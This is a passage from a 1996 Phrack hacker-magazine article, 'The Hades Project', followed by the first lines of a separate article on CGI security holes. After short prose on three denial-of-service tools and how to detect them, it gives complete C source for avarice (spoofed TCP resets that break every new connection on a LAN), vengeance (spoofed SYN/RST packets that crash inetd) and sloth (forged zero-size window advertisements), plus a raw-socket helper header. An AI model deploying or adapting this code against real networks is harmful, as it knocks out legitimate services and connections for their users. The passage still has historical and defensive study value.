  4672. inetd managed service, such as time or daytime.  Inetd is now unstable and
  4673. will die after the next attempt at a connection.  Simple.  Dumb.  Not eleet.
  4674. (This inetd bug should be fixed or simply not present in newer inetd code.) 
  4675.  
  4676.     I did not add code to make the legitimate connection that would kill
  4677. inetd to this simple little program for 2 reasons.  1) It's simply not worth 
  4678. the complexity to add sequence number prediction to create a spoofed 3-way 
  4679. handshake.  This program is too dinky.  2) Maybe the attacker would want 
  4680. to leave inetd in a unstable state and let some legitimate user come along and
  4681. kill it.  Who knows.  Who cares.  Blah.  I wash my hands of the whole affair.
  4682.  
  4683.  
  4684.         Section V.    Sloth
  4685.  
  4686.  
  4687.     "Make your ethernet feel like a lagged 28.8 modem link!"
  4688.  
  4689.     Sloth is an experiment.  It is an experiment in just how lame IP 
  4690. spoofing can get.  It works much the same way avarice does, except it sends 
  4691. forged TCP window advertisements.  By default Sloth will spoof zero-size 
  4692. window advertisements which will have the effect of slowing interactive 
  4693. traffic considerably.  In fact, in some instances, it will freeze a 
  4694. connection all together.  This is because when a TCP receives a zero-size 
  4695. window advertisement, it will stop sending data, and start sending window 
  4696. probes (a window probe is nothing more than an ACK with one byte of 
  4697. data) to see if the window size has increased.  Since window probes are, in 
  4698. essence, nothing more than acknowledgements, they can get lost.  Because of 
  4699. this fact, TCP implements a timer to cordinate the repeated sending of these 
  4700. packets.  Window probes are sent according to the persist timer (a 500ms 
  4701. timer) which is calculated by TCP's exponential backoff algorithm.  Sloth 
  4702. will see each window probe, and spoof a 0-size window to the sender.  This 
  4703. all works out to cause mass mayhem, and makes it difficult for either TCP to 
  4704. carry on a legitimate conversation.  
  4705.  
  4706.     Sloth, like avarice, is only effective on faster machines.  It also
  4707. only works well with interactive traffic.
  4708.  
  4709.         
  4710.         Section    VI.    Discussion, Detection, and Prevention
  4711.  
  4712.  
  4713.     Avarice is simply a nasty program.  What more do you want from me?
  4714. Detection?  Detection would require an ounce of clue.  Do FTP, SMTP, HTTP, 
  4715. POP, telnet, etc all suddenly break at the same time on every machine on 
  4716. the LAN?  Could be this program.  Break out the sniffer.  Monitor the network 
  4717. and look for the machine that generating the RSTs.  This version of the program
  4718. does not spoof its MAC address, so look for that.  To really prevent this 
  4719. attack, add cryptographic authentication to the TCP kernels on your machines.
  4720.  
  4721.     Vengeance is a wake-up call.  If you haven't patched your inetd to be
  4722. resistant to this attack, you should now.  If your vendor hasn't been 
  4723. forthcoming with a patch, they should now.  Detection is using this 
  4724. program.  Prevention is a patch.  Prevention is disabling the internal inetd 
  4725. services.
  4726.  
  4727.     Sloth can be detected and dealt with in much the same way as avarice.
  4728.  
  4729.     You may have noticed that these programs are named after three of
  4730. the Seven Deadly Sins.  You may be wondering if that implies that there will 
  4731. be four more programs of similar ilk.  Well, STOP WONDERING.  The answer is 
  4732. NO.  I am officially *out* of the D.O.S. business.  I am now putting my efforts
  4733. towards more productive ventures.  Next issue, a session jacker.
  4734.  
  4735.  
  4736. This project made possible by a grant from the Guild Corporation.
  4737.  
  4738.  
  4739. -------------------------------8<-------cut-me-loose--------------------------
  4740.  
  4741.  
  4742. /*
  4743.                             The Hades Project
  4744.             Explorations in the Weakness of TCP
  4745.                SYN -> RST generator
  4746.                     (avarice)
  4747.                                  v. 1.0
  4748.  
  4749.                         daemon9/route/infinity
  4750.  
  4751.                      October 1996 Guild productions
  4752.  
  4753.                      comments to route@infonexus.com
  4754.  
  4755.  
  4756.    This coding project made possible by a grant from the Guild corporation
  4757.  
  4758. */
  4759.  
  4760. #include "lnw.h"
  4761.  
  4762. void main(){
  4763.  
  4764.     void reset(struct iphdr *,struct tcphdr *,int);
  4765.  
  4766.     struct epack{                /* Generic Ethernet packet w/o data payload */
  4767.         struct ethhdr eth;        /* Ethernet Header */
  4768.         struct iphdr ip;        /* IP header */
  4769.         struct tcphdr tcp;        /* TCP header */
  4770.     }epack;
  4771.  
  4772.     int sock,shoe,dlen;
  4773.     struct sockaddr dest;
  4774.     struct iphdr  *iphp;
  4775.     struct tcphdr *tcphp;
  4776.  
  4777.     if(geteuid()||getuid()){
  4778.                 fprintf(stderr,"UID or EUID of 0 needed...\n");
  4779.                 exit(0);
  4780.         }
  4781.     sock=tap(DEVICE);        /* Setup the socket and device */
  4782.  
  4783.                 /* Could use the SOCK_PACKET but building Ethernet headers would
  4784.                  require more time overhead; the kernel can do it quicker then me */
  4785.     if((shoe=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
  4786.                 perror("\nHmmm.... socket problems");
  4787.                 exit(1);
  4788.         }  
  4789.     shadow();            /* Run as a daemon */ 
  4790.     
  4791.     iphp=(struct iphdr *)(((unsigned long)&epack.ip)-2);
  4792.       tcphp=(struct tcphdr *)(((unsigned long)&epack.tcp)-2);   
  4793.  
  4794.        /* Network reading loop / RSTing portion */
  4795.     while(1)if(recvfrom(sock,&epack,sizeof(epack),0,&dest,&dlen))if(iphp->protocol==IPPROTO_TCP&&tcphp->syn)reset(iphp,tcphp,shoe);
  4796. }
  4797.  
  4798.  
  4799. /*
  4800.  *    Build a packet and send it off.
  4801.  */
  4802.  
  4803. void reset(iphp,tcphp,shoe)
  4804. struct iphdr *iphp;
  4805. struct tcphdr *tcphp;
  4806. int shoe;
  4807. {
  4808.        
  4809.     void dump(struct iphdr *,struct tcphdr *);
  4810.         
  4811.         struct tpack{            /* Generic TCP packet w/o payload */
  4812.                 struct iphdr ip;    
  4813.                 struct tcphdr tcp;
  4814.         }tpack;                
  4815.         
  4816.         struct pseudo_header{           /* For TCP header checksum */
  4817.                 unsigned source_address;
  4818.                 unsigned dest_address;
  4819.                 unsigned char placeholder;
  4820.                 unsigned char protocol;
  4821.                 unsigned short tcp_length;
  4822.                 struct tcphdr tcp;
  4823.         }pheader;
  4824.   
  4825.        struct sockaddr_in sin;         /* IP address information */
  4826.                                 /* Setup the sin struct with addressing information */
  4827.           sin.sin_family=AF_INET;      /* Internet address family */
  4828.         sin.sin_port=tcphp->dest;       /* Source port */
  4829.         sin.sin_addr.s_addr=iphp->saddr;/* Dest. address */
  4830.  
  4831.                         /* Packet assembly begins here */
  4832.         
  4833.                                 /* Fill in all the TCP header information */
  4834.  
  4835.         tpack.tcp.source=tcphp->dest;   /* 16-bit Source port number */
  4836.         tpack.tcp.dest=tcphp->source;   /* 16-bit Destination port */
  4837.         tpack.tcp.seq=0;            /* 32-bit Sequence Number */
  4838.         tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)+1);    /* 32-bit Acknowledgement Number */
  4839.         tpack.tcp.doff=5;                  /* Data offset */
  4840.         tpack.tcp.res1=0;                  /* reserved */
  4841.         tpack.tcp.res2=0;                  /* reserved */
  4842.           tpack.tcp.urg=0;                   /* Urgent offset valid flag */
  4843.         tpack.tcp.ack=1;                   /* Acknowledgement field valid flag */
  4844.         tpack.tcp.psh=0;                   /* Push flag */
  4845.         tpack.tcp.rst=1;                   /* Reset flag */
  4846.         tpack.tcp.syn=0;                   /* Synchronize sequence numbers flag */
  4847.         tpack.tcp.fin=0;                   /* Finish sending flag */
  4848.         tpack.tcp.window=0;         /* 16-bit Window size */
  4849.         tpack.tcp.check=0;                 /* 16-bit checksum (to be filled in below) */
  4850.         tpack.tcp.urg_ptr=0;               /* 16-bit urgent offset */
  4851.         
  4852.                                 /* Fill in all the IP header information */
  4853.         
  4854.         tpack.ip.version=4;                /* 4-bit Version */
  4855.         tpack.ip.ihl=5;                    /* 4-bit Header Length */
  4856.         tpack.ip.tos=0;                    /* 8-bit Type of service */
  4857.         tpack.ip.tot_len=htons(IPHDR+TCPHDR);  /* 16-bit Total length */
  4858.         tpack.ip.id=0;                 /* 16-bit ID field */
  4859.         tpack.ip.frag_off=0;               /* 13-bit Fragment offset */
  4860.         tpack.ip.ttl=64;            /* 8-bit Time To Live */
  4861.         tpack.ip.protocol=IPPROTO_TCP;     /* 8-bit Protocol */
  4862.         tpack.ip.check=0;                  /* 16-bit Header checksum (filled in below) */
  4863.         tpack.ip.saddr=iphp->daddr;        /* 32-bit Source Address */
  4864.         tpack.ip.daddr=iphp->saddr;        /* 32-bit Destination Address */
  4865.         
  4866.         pheader.source_address=(unsigned)tpack.ip.saddr;
  4867.         pheader.dest_address=(unsigned)tpack.ip.daddr;
  4868.         pheader.placeholder=0;
  4869.          pheader.protocol=IPPROTO_TCP;
  4870.         pheader.tcp_length=htons(TCPHDR);
  4871.         
  4872.                  /* IP header checksum */
  4873.         
  4874.           tpack.ip.check=in_cksum((unsigned short *)&tpack.ip,IPHDR);
  4875.                 
  4876.             /* TCP header checksum */
  4877.                                 
  4878.         bcopy((char *)&tpack.tcp,(char *)&pheader.tcp,TCPHDR);
  4879.            tpack.tcp.check=in_cksum((unsigned short *)&pheader,TCPHDR+12);
  4880.  
  4881.     sendto(shoe,&tpack,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin));
  4882. #ifndef QUIET
  4883.     dump(iphp,tcphp);
  4884. #endif
  4885. }
  4886.  
  4887. /* 
  4888.  *    Dumps some info...
  4889.  */
  4890.  
  4891. void dump(iphp,tcphp)
  4892. struct iphdr *iphp;
  4893. struct tcphdr *tcphp;
  4894. {
  4895.     fprintf(stdout,"Connection-establishment Attempt: ");
  4896.        fprintf(stdout,"%s [%d] --> %s [%d]\n",hostLookup(iphp->saddr),ntohs(tcphp->source),hostLookup(iphp->daddr),ntohs(tcphp->dest)); 
  4897.     fprintf(stdout,"Thwarting...\n");
  4898. }
  4899.  
  4900. -------------------------------8<-------cut-me-loose--------------------------
  4901.  
  4902. /*
  4903.                             The Hades Project
  4904.                     Explorations in the Weakness of TCP
  4905.                               Inetd Killer
  4906.                    (vengance)
  4907.                                  v. 1.0
  4908.  
  4909.                         daemon9/route/infinity
  4910.  
  4911.                      October 1996 Guild productions
  4912.  
  4913.                      comments to route@infonexus.com
  4914.  
  4915.  
  4916.    This coding project made possible by a grant from the Guild corporation
  4917. */
  4918.  
  4919.  
  4920. #include "lnw.h"
  4921.  
  4922. void main()
  4923. {
  4924.  
  4925.     void s3nd(int,int,unsigned,unsigned short,unsigned);
  4926.     void usage(char *);
  4927.     unsigned nameResolve(char *);    
  4928.  
  4929.     int sock,mode,i=0;
  4930.     char buf[BUFSIZE];
  4931.     unsigned short port;
  4932.     unsigned target=0,source=0;
  4933.          char werd[]={"\n\n\n\nHades is a Guild Corporation Production.  c.1996\n\n"}; 
  4934.  
  4935.     if(geteuid()||getuid()){
  4936.                 fprintf(stderr,"UID or EUID of 0 needed...\n");
  4937.                 exit(0);
  4938.         }
  4939.  
  4940.     if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
  4941.                 perror("\nHmmm.... socket problems");
  4942.                 exit(1);
  4943.         }  
  4944.  
  4945.     printf(werd);
  4946.  
  4947.     printf("\nEnter target address-> ");
  4948.         fgets(buf,sizeof(buf)-1,stdin);
  4949.     if(!buf[1])exit(0);
  4950.         while(buf[i]!='\n')i++;                 /* Strip the newline */
  4951.         buf[i]=0;
  4952.     target=nameResolve(buf);
  4953.         bzero((char *)buf,sizeof(buf));
  4954.  
  4955.     printf("\nEnter source address to spoof-> ");
  4956.         fgets(buf,sizeof(buf)-1,stdin);
  4957.     if(!buf[1])exit(0);        
  4958.     while(buf[i]!='\n')i++;                 /* Strip the newline */
  4959.         buf[i]=0;
  4960.     source=nameResolve(buf);
  4961.         bzero((char *)buf,sizeof(buf));
  4962.  
  4963.     printf("\nEnter target port (should be 13, 37, or some internal service)-> ");
  4964.         fgets(buf,sizeof(buf)-1,stdin);
  4965.         if(!buf[1])exit(0);
  4966.     port=(unsigned short)atoi(buf);
  4967.     
  4968.     fprintf(stderr,"Attempting to upset inetd...\n\n");
  4969.  
  4970.     s3nd(sock,0,target,port,source);    /* SYN */
  4971.     s3nd(sock,1,target,port,source);    /* RST */
  4972.  
  4973.     fprintf(stderr,"At this point, if the host is vulnerable, inetd is unstable.\nTo verfiy: `telnet target.com {internal service port #}`.  Do this twice.\nInetd should allow the first connection, but send no data, then die.\nThe second telnet will verify t
  4974.  
  4975.  
  4976.  
  4977.  
  4978.  
  4979.  
  4980.  
  4981. his.\n"); 
  4982. }
  4983.  
  4984. /*
  4985.  *    Build a packet and send it off.
  4986.  */
  4987.  
  4988. void s3nd(int sock,int mode,unsigned target,unsigned short port,unsigned source){
  4989.        
  4990.         struct pkt{
  4991.                 struct iphdr ip;
  4992.                 struct tcphdr tcp;
  4993.         }packet;                
  4994.         
  4995.         struct pseudo_header{           /* For TCP header checksum */
  4996.                 unsigned source_address;
  4997.                 unsigned dest_address;
  4998.                 unsigned char placeholder;
  4999.                 unsigned char protocol;
  5000.                 unsigned short tcp_length;
  5001.                 struct tcphdr tcp;
  5002.         }pseudo_header;
  5003.   
  5004.        struct sockaddr_in sin;         /* IP address information */
  5005.                                 /* Setup the sin struct with addressing information */
  5006.           sin.sin_family=AF_INET;      /* Internet address family */
  5007.         sin.sin_port=666;           /* Source port */
  5008.         sin.sin_addr.s_addr=target;      /* Dest. address */
  5009.  
  5010.                         /* Packet assembly begins here */
  5011.         
  5012.                                 /* Fill in all the TCP header information */
  5013.         
  5014.         packet.tcp.source=htons(666);            /* 16-bit Source port number */
  5015.         packet.tcp.dest=htons(port);           /* 16-bit Destination port */
  5016.         if(mode)packet.tcp.seq=0;            /* 32-bit Sequence Number */
  5017.         else packet.tcp.seq=htonl(10241024);
  5018.     if(!mode)packet.tcp.ack_seq=0;        /* 32-bit Acknowledgement Number */
  5019.     else packet.tcp.ack_seq=htonl(102410000);
  5020.         packet.tcp.doff=5;                  /* Data offset */
  5021.         packet.tcp.res1=0;                  /* reserved */
  5022.         packet.tcp.res2=0;                  /* reserved */
  5023.           packet.tcp.urg=0;                   /* Urgent offset valid flag */
  5024.         packet.tcp.ack=0;                   /* Acknowledgement field valid flag */
  5025.         packet.tcp.psh=0;                   /* Push flag */
  5026.         if(!mode)packet.tcp.rst=0;               /* Reset flag */
  5027.         else packet.tcp.rst=1;
  5028.     if(!mode)packet.tcp.syn=1;               /* Synchronize sequence numbers flag */
  5029.     else packet.tcp.syn=0;
  5030.         packet.tcp.fin=0;                   /* Finish sending flag */
  5031.         packet.tcp.window=htons(512);         /* 16-bit Window size */
  5032.         packet.tcp.check=0;                 /* 16-bit checksum (to be filled in below) */
  5033.         packet.tcp.urg_ptr=0;               /* 16-bit urgent offset */
  5034.         
  5035.                                 /* Fill in all the IP header information */
  5036.         
  5037.         packet.ip.version=4;                /* 4-bit Version */
  5038.         packet.ip.ihl=5;                    /* 4-bit Header Length */
  5039.         packet.ip.tos=0;                    /* 8-bit Type of service */
  5040.         packet.ip.tot_len=htons(IPHDR+TCPHDR);  /* 16-bit Total length */
  5041.         packet.ip.id=0;                 /* 16-bit ID field */
  5042.         packet.ip.frag_off=0;               /* 13-bit Fragment offset */
  5043.         packet.ip.ttl=64;                      /* 8-bit Time To Live */
  5044.         packet.ip.protocol=IPPROTO_TCP;     /* 8-bit Protocol */
  5045.         packet.ip.check=0;                  /* 16-bit Header checksum (filled in below) */
  5046.         packet.ip.saddr=source;           /* 32-bit Source Address */
  5047.         packet.ip.daddr=target;           /* 32-bit Destination Address */
  5048.         
  5049.         pseudo_header.source_address=(unsigned)packet.ip.saddr;
  5050.         pseudo_header.dest_address=(unsigned)packet.ip.daddr;
  5051.         pseudo_header.placeholder=0;
  5052.          pseudo_header.protocol=IPPROTO_TCP;
  5053.         pseudo_header.tcp_length=htons(TCPHDR);
  5054.         
  5055.                  /* IP header checksum */
  5056.         
  5057.           packet.ip.check=in_cksum((unsigned short *)&packet.ip,IPHDR);
  5058.                 
  5059.             /* TCP header checksum */
  5060.                                 
  5061.         bcopy((char *)&packet.tcp,(char *)&pseudo_header.tcp,IPHDR);
  5062.            packet.tcp.check=in_cksum((unsigned short *)&pseudo_header,TCPHDR+12);
  5063.  
  5064.     sendto(sock,&packet,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin));
  5065. }
  5066.  
  5067. -------------------------------8<-------cut-me-loose--------------------------
  5068.  
  5069. /*
  5070.                             The Hades Project
  5071.                     Explorations in the Weakness of TCP
  5072.                           TCP Window Starvation
  5073.                                  (sloth)
  5074.                                  v. 1.0
  5075.  
  5076.                         daemon9/route/infinity
  5077.  
  5078.                      October 1996 Guild productions
  5079.  
  5080.                      comments to route@infonexus.com
  5081.  
  5082.  
  5083.    This coding project made possible by a grant from the Guild corporation
  5084.  
  5085. */
  5086.  
  5087.  
  5088. #include "lnw.h"
  5089.  
  5090.     /* experiment with this value.  Different things happen with different sizes */
  5091.  
  5092. #define SLOTHWINDOW    0
  5093.  
  5094. void main(){
  5095.  
  5096.     void sl0th(struct iphdr *,struct tcphdr *,int);
  5097.  
  5098.     struct epack{                /* Generic Ethernet packet w/o data payload */
  5099.         struct ethhdr eth;        /* Ethernet Header */
  5100.         struct iphdr ip;        /* IP header */
  5101.         struct tcphdr tcp;        /* TCP header */
  5102.     }epack;
  5103.  
  5104.     int sock,shoe,dlen;
  5105.     struct sockaddr dest;
  5106.     struct iphdr  *iphp;
  5107.     struct tcphdr *tcphp;
  5108.  
  5109.     if(geteuid()||getuid()){
  5110.                 fprintf(stderr,"UID or EUID of 0 needed...\n");
  5111.                 exit(0);
  5112.         }
  5113.     sock=tap(DEVICE);        /* Setup the socket and device */
  5114.  
  5115.                 /* Could use the SOCK_PACKET but building Ethernet headers would
  5116.                  require more time overhead; the kernel can do it quicker then me */
  5117.     if((shoe=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){
  5118.                 perror("\nHmmm.... socket problems");
  5119.                 exit(1);
  5120.         }  
  5121.     shadow();            /* Run as a daemon */    
  5122.  
  5123.     iphp=(struct iphdr *)(((unsigned long)&epack.ip)-2);
  5124.       tcphp=(struct tcphdr *)(((unsigned long)&epack.tcp)-2);   
  5125.  
  5126.        /* Network reading loop */
  5127.     while(1)if(recvfrom(sock,&epack,sizeof(epack),0,&dest,&dlen))if(iphp->protocol==IPPROTO_TCP&&tcphp->ack)sl0th(iphp,tcphp,shoe);
  5128. }
  5129.  
  5130.  
  5131. /*
  5132.  *    Build a packet and send it off.
  5133.  */
  5134.  
  5135. void sl0th(iphp,tcphp,shoe)
  5136. struct iphdr *iphp;
  5137. struct tcphdr *tcphp;
  5138. int shoe;
  5139. {
  5140.        
  5141.     void dump(struct iphdr *,struct tcphdr *);
  5142.         
  5143.         struct tpack{            /* Generic TCP packet w/o payload */
  5144.                 struct iphdr ip;    
  5145.                 struct tcphdr tcp;
  5146.         }tpack;                
  5147.         
  5148.         struct pseudo_header{           /* For TCP header checksum */
  5149.                 unsigned source_address;
  5150.                 unsigned dest_address;
  5151.                 unsigned char placeholder;
  5152.                 unsigned char protocol;
  5153.                 unsigned short tcp_length;
  5154.                 struct tcphdr tcp;
  5155.         }pheader;
  5156.   
  5157.        struct sockaddr_in sin;         /* IP address information */
  5158.                                 /* Setup the sin struct with addressing information */
  5159.           sin.sin_family=AF_INET;      /* Internet address family */
  5160.         sin.sin_port=tcphp->dest;       /* Source port */
  5161.         sin.sin_addr.s_addr=iphp->saddr;/* Dest. address */
  5162.  
  5163.                         /* Packet assembly begins here */
  5164.         
  5165.                                 /* Fill in all the TCP header information */
  5166.  
  5167.         tpack.tcp.source=tcphp->dest;   /* 16-bit Source port number */
  5168.         tpack.tcp.dest=tcphp->source;   /* 16-bit Destination port */
  5169.         tpack.tcp.seq=htonl(ntohl(tcphp->ack_seq));    /* 32-bit Sequence Number */
  5170.         tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq));    /* 32-bit Acknowledgement Number */
  5171.         tpack.tcp.doff=5;                  /* Data offset */
  5172.         tpack.tcp.res1=0;                  /* reserved */
  5173.         tpack.tcp.res2=0;                  /* reserved */
  5174.           tpack.tcp.urg=0;                   /* Urgent offset valid flag */
  5175.         tpack.tcp.ack=1;                   /* Acknowledgement field valid flag */
  5176.         tpack.tcp.psh=0;                   /* Push flag */
  5177.         tpack.tcp.rst=0;                   /* Reset flag */
  5178.         tpack.tcp.syn=0;                   /* Synchronize sequence numbers flag */
  5179.         tpack.tcp.fin=0;                   /* Finish sending flag */
  5180.         tpack.tcp.window=htons(SLOTHWINDOW);     /* 16-bit Window size */
  5181.         tpack.tcp.check=0;                 /* 16-bit checksum (to be filled in below) */
  5182.         tpack.tcp.urg_ptr=0;               /* 16-bit urgent offset */
  5183.         
  5184.                                 /* Fill in all the IP header information */
  5185.         
  5186.         tpack.ip.version=4;                /* 4-bit Version */
  5187.         tpack.ip.ihl=5;                    /* 4-bit Header Length */
  5188.         tpack.ip.tos=0;                    /* 8-bit Type of service */
  5189.         tpack.ip.tot_len=htons(IPHDR+TCPHDR);  /* 16-bit Total length */
  5190.         tpack.ip.id=0;                 /* 16-bit ID field */
  5191.         tpack.ip.frag_off=0;               /* 13-bit Fragment offset */
  5192.         tpack.ip.ttl=64;            /* 8-bit Time To Live */
  5193.         tpack.ip.protocol=IPPROTO_TCP;     /* 8-bit Protocol */
  5194.         tpack.ip.check=0;                  /* 16-bit Header checksum (filled in below) */
  5195.         tpack.ip.saddr=iphp->daddr;        /* 32-bit Source Address */
  5196.         tpack.ip.daddr=iphp->saddr;        /* 32-bit Destination Address */
  5197.         
  5198.         pheader.source_address=(unsigned)tpack.ip.saddr;
  5199.         pheader.dest_address=(unsigned)tpack.ip.daddr;
  5200.         pheader.placeholder=0;
  5201.          pheader.protocol=IPPROTO_TCP;
  5202.         pheader.tcp_length=htons(TCPHDR);
  5203.         
  5204.                  /* IP header checksum */
  5205.         
  5206.           tpack.ip.check=in_cksum((unsigned short *)&tpack.ip,IPHDR);
  5207.                 
  5208.             /* TCP header checksum */
  5209.                                 
  5210.         bcopy((char *)&tpack.tcp,(char *)&pheader.tcp,TCPHDR);
  5211.            tpack.tcp.check=in_cksum((unsigned short *)&pheader,TCPHDR+12);
  5212.  
  5213.     sendto(shoe,&tpack,IPHDR+TCPHDR,0,(struct sockaddr *)&sin,sizeof(sin));
  5214. #ifndef QUIET
  5215.     dump(iphp,tcphp);
  5216. #endif
  5217. }
  5218.  
  5219. /* 
  5220.  *    Dumps some info...
  5221.  */
  5222.  
  5223. void dump(iphp,tcphp)
  5224. struct iphdr *iphp;
  5225. struct tcphdr *tcphp;
  5226. {
  5227.     fprintf(stdout,"Hmm... I smell an ACK: ");
  5228.        fprintf(stdout,"%s [%d] --> %s [%d]\n",hostLookup(iphp->saddr),ntohs(tcphp->source),hostLookup(iphp->daddr),ntohs(tcphp->dest)); 
  5229.     fprintf(stdout,"let's slow things down a bit\n");
  5230. }
  5231.  
  5232.  
  5233. -------------------------------8<-------cut-me-loose--------------------------
  5234.  
  5235.  
  5236. /*
  5237.         Basic Linux Networking Header Information. v1.0
  5238.  
  5239.               c. daemon9, Guild Corporation 1996
  5240.  
  5241. Includes:
  5242.  
  5243.     tap
  5244.     in_cksum
  5245.     nameResolve
  5246.     hostLookup    
  5247.     shadow
  5248.     reaper
  5249.  
  5250.     This is beta.  Expect it to expand greatly the next time around ...
  5251.     Sources from all over the map.
  5252.  
  5253.         code from:
  5254.             route
  5255.             halflife
  5256. */
  5257.  
  5258. #include <string.h>
  5259. #include <signal.h>
  5260. #include <stdio.h>
  5261. #include <unistd.h>
  5262. #include <fcntl.h>
  5263. #include <syslog.h>
  5264. #include <sys/types.h>
  5265. #include <sys/socket.h>
  5266. #include <sys/wait.h>
  5267. #include <sys/ioctl.h>
  5268. #include <sys/stat.h>
  5269. #include <sys/time.h>
  5270. #include <netinet/in.h>
  5271. #include <arpa/inet.h>
  5272. #include <netdb.h>
  5273. #include <arpa/inet.h>
  5274. #include <linux/socket.h>
  5275. #include <linux/ip.h>
  5276. #include <linux/tcp.h>
  5277. #include <linux/if_ether.h>
  5278. #include <linux/if.h>
  5279.  
  5280. #define DEVICE         "eth0"
  5281. #define BUFSIZE     256
  5282. #define ETHHDR         14
  5283. #define TCPHDR         20
  5284. #define IPHDR          20
  5285. #define ICMPHDR     8
  5286.  
  5287.  
  5288. /*
  5289.  *      IP address into network byte order
  5290.  */
  5291.                  
  5292. unsigned nameResolve(char *hostname){
  5293.         
  5294.         struct in_addr addr;
  5295.         struct hostent *hostEnt; 
  5296.    
  5297.         if((addr.s_addr=inet_addr(hostname))==-1){
  5298.                 if(!(hostEnt=gethostbyname(hostname))){
  5299.                         fprintf(stderr,"Name lookup failure: `%s`\n",hostname);
  5300.                         exit(0);
  5301.                 }
  5302.                 bcopy(hostEnt->h_addr,(char *)&addr.s_addr,hostEnt->h_length);
  5303.         }
  5304.         return addr.s_addr;
  5305. }
  5306.  
  5307. /*
  5308.  *      IP Family checksum routine
  5309.  */
  5310.  
  5311. unsigned short in_cksum(unsigned short *ptr,int nbytes){
  5312.                         
  5313.         register long           sum;            /* assumes long == 32 bits */
  5314.         u_short                 oddbyte;
  5315.         register u_short        answer;         /* assumes u_short == 16 bits */
  5316.                         
  5317.         /*
  5318.          * Our algorithm is simple, using a 32-bit accumulator (sum),
  5319.          * we add sequential 16-bit words to it, and at the end, fold back 
  5320.          * all the carry bits from the top 16 bits into the lower 16 bits. 
  5321.          */
  5322.         
  5323.         sum = 0;
  5324.         while (nbytes > 1)  {
  5325.                 sum += *ptr++;
  5326.                 nbytes -= 2;    
  5327.         }
  5328.                         
  5329.                                 /* mop up an odd byte, if necessary */
  5330.         if (nbytes == 1) {
  5331.                 oddbyte = 0;            /* make sure top half is zero */
  5332.                 *((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte only */
  5333.                 sum += oddbyte;
  5334.         }               
  5335.   
  5336.         /*
  5337.          * Add back carry outs from top 16 bits to low 16 bits.
  5338.          */
  5339.          
  5340.         sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */
  5341.         sum += (sum >> 16);                     /* add carry */
  5342.         answer = ~sum;          /* ones-complement, then truncate to 16 bits */
  5343.         return(answer);
  5344. }
  5345.  
  5346.  
  5347. /*
  5348.  *    Creates a low level raw-packet socket and puts the device into promiscuous mode.
  5349.  */
  5350.  
  5351. int tap(device)
  5352. char *device;
  5353. {
  5354.     
  5355.     int fd;                /* File descriptor */
  5356.        struct ifreq ifr;        /* Link-layer interface request structure */
  5357.                     /* Ethernet code for IP 0x800==ETH_P_IP */
  5358.        if((fd=socket(AF_INET,SOCK_PACKET,htons(ETH_P_IP)))<0){    /* Linux's way of */ 
  5359.               perror("SOCK_PACKET allocation problems");    /* getting link-layer */
  5360.               exit(1);                    /* packets */
  5361.        }
  5362.     strcpy(ifr.ifr_name,device);                
  5363.        if((ioctl(fd,SIOCGIFFLAGS,&ifr))<0){            /* Get the device info */
  5364.               perror("Can't get device flags");
  5365.               close(fd);
  5366.               exit(1);
  5367.        }
  5368.        ifr.ifr_flags|=IFF_PROMISC;                /* Set promiscuous mode */
  5369.        if((ioctl(fd,SIOCSIFFLAGS,&ifr))<0){            /* Set flags */
  5370.         perror("Can't set promiscuous mode");
  5371.            close(fd);
  5372.         exit(1);
  5373.     }
  5374.     return(fd);
  5375. }
  5376.  
  5377. /*
  5378.  *    Network byte order into IP address
  5379.  */
  5380.  
  5381. char *hostLookup(in)
  5382. unsigned long in;
  5383. {
  5384.  
  5385.        char hostname[BUFSIZE];
  5386.        struct in_addr addr;
  5387.        struct hostent *hostEnt;
  5388.    
  5389.     bzero(&hostname,sizeof(hostname));
  5390.     addr.s_addr=in;
  5391.        hostEnt=gethostbyaddr((char *)&addr, sizeof(struct in_addr),AF_INET);
  5392.        if(!hostEnt)strcpy(hostname,inet_ntoa(addr));
  5393.        else strcpy(hostname,hostEnt->h_name);
  5394.        return(strdup(hostname));
  5395. }
  5396.  
  5397. /*
  5398.  *      Simple daemonizing procedure.
  5399.  */   
  5400.  
  5401. void shadow(void){
  5402.  
  5403.         int fd,fs;
  5404.         extern int errno;
  5405.          char werd[]={"\n\n\n\nHades is a Guild Corporation Production.  c.1996\n\n"}; 
  5406.  
  5407.         signal(SIGTTOU,SIG_IGN);        /* Ignore these signals */
  5408.         signal(SIGTTIN,SIG_IGN);
  5409.         signal(SIGTSTP,SIG_IGN);
  5410.     printf(werd);
  5411.  
  5412.         switch(fork()){
  5413.                case 0:                 /* Child */
  5414.                         break;
  5415.                 default:        
  5416.                         exit(0);        /* Parent */
  5417.                 case -1:
  5418.                         fprintf(stderr,"Forking Error\n");
  5419.                         exit(1);
  5420.         }
  5421.         setpgrp();
  5422.         if((fd=open("/dev/tty",O_RDWR))>=0){
  5423.                 ioctl(fd,TIOCNOTTY,(char *)NULL);
  5424.                 close(fd);
  5425.         }
  5426.         /*for(fd=0;fd<NOFILE;fd++)close(fd);*/
  5427.         errno=0;
  5428.         chdir("/");
  5429.         umask(0);
  5430. }
  5431.  
  5432. /*
  5433.  *      Keeps processes from zombiing on us...
  5434.  */
  5435.         
  5436. static void reaper(signo)
  5437. int signo;
  5438. {
  5439.         pid_t pid;
  5440.         int sys;
  5441.  
  5442.         pid=wait(&sys); 
  5443.         signal(SIGCHLD,reaper);
  5444.         return;
  5445. }
  5446.  
  5447.  
  5448. -------------------------------8<-------cut-me-loose--------------------------
  5449.  
  5450. EOF
  5451.  
  5452.                                 .oO Phrack 49 Oo.
  5453.  
  5454.                           Volume Seven, Issue Forty-Nine
  5455.                                      
  5456.                                    File 08 of 16
  5457.  
  5458.                 CGI Security Holes
  5459. --------------------------------------------------------------------------
  5460.                 by Gregory Gilliss
  5461.  
  5462.  
  5463.     This article will discuss the Common Gateway Interface, its 
  5464. relationship to the World Wide Web and the Internet, and will endeavor to 
  5465. point out vulnerabilities in system security exposed by its use.  The UNIX 
  5466. operating system will be the platform central to this discussion.  
  5467. Programming techniques will be illustrated by examples using PERL.  
  5468.  
  5469. 1.    Introduction
  5470.  
